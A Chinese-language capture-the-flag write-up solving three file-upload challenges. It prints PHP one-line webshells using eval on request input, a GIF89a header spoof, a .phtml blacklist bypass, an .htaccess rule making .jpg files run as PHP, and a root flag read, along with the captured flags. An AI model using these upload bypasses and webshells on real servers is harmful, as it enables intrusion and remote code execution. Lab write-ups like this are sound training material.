[极客大挑战 2019]Upload
一个文件上传的题,先看一眼发现没有前端检测,那就是后端脚本,先随便传个图片马
操,上传成功了。。。
里面写的是:
GIF89a //GIF文件头
<script language="php">eval($_REQUEST[8])</script>
这是随便传的以前的图片,以下是正常顺序:
先写个一句话木马传上去:<?php eval($_REQUEST[8])?>
,抓包将类型改为:image/jpeg
看来不光检查了文件的类型,测试发现php[3-5]
也不可用(phtml
不被过滤),可能是黑名单绕过
尝试传.gif
文件,抓包改为.phtml
,一句话木马:<?php eval($_REQUEST[8])?>
看来后端 ban 掉了 <?
,那就写:<script language="php">eval($_REQUEST[8])</script>
猜测后端存在getimagesize()
函数检查文件头,在该文件前面写上:GIF89a
访问一下传上去的图片马
路径不对,猜测路径为/upload/123.phtml
上传成功,蚁剑连上在根目录找到flag:flag{baa96266-a311-4b3b-b13f-8605521b6802}
[ACTF2020 新生赛]Upload
看到源码里有句前端检测白名单:var allow_ext = ".jpg|.png|.gif";
上传刚才那张:
拿到shell
正常思路来一遍
写个一句话图片木马抓包改后缀:<?php eval($_REQUEST[8])?>
改成php
、php[3-5]
均没反应,phtml
回显上传成功
flag:flag{8ea3be0a-0b5a-4f5b-8252-1a15502f68cd}
[MRCTF2020]你传你🐎呢
先看源码发现没有前端检测,传一下刚才那张:
好吧按正常思路来,写个一句话木马改后缀:<?php eval($_REQUEST[8])?>
.jpg
文件上传成功,但改成.php
不行,尝试兼容文件后缀也不行
看报错信息是说临时创建了目录来保存该12.jpg
,既然不能修改后缀,那就传.htaccess
AddType application/x-httpd-php .jpg
猜测flag在根目录下,直接读:var_dump(file_get_contents('/flag'));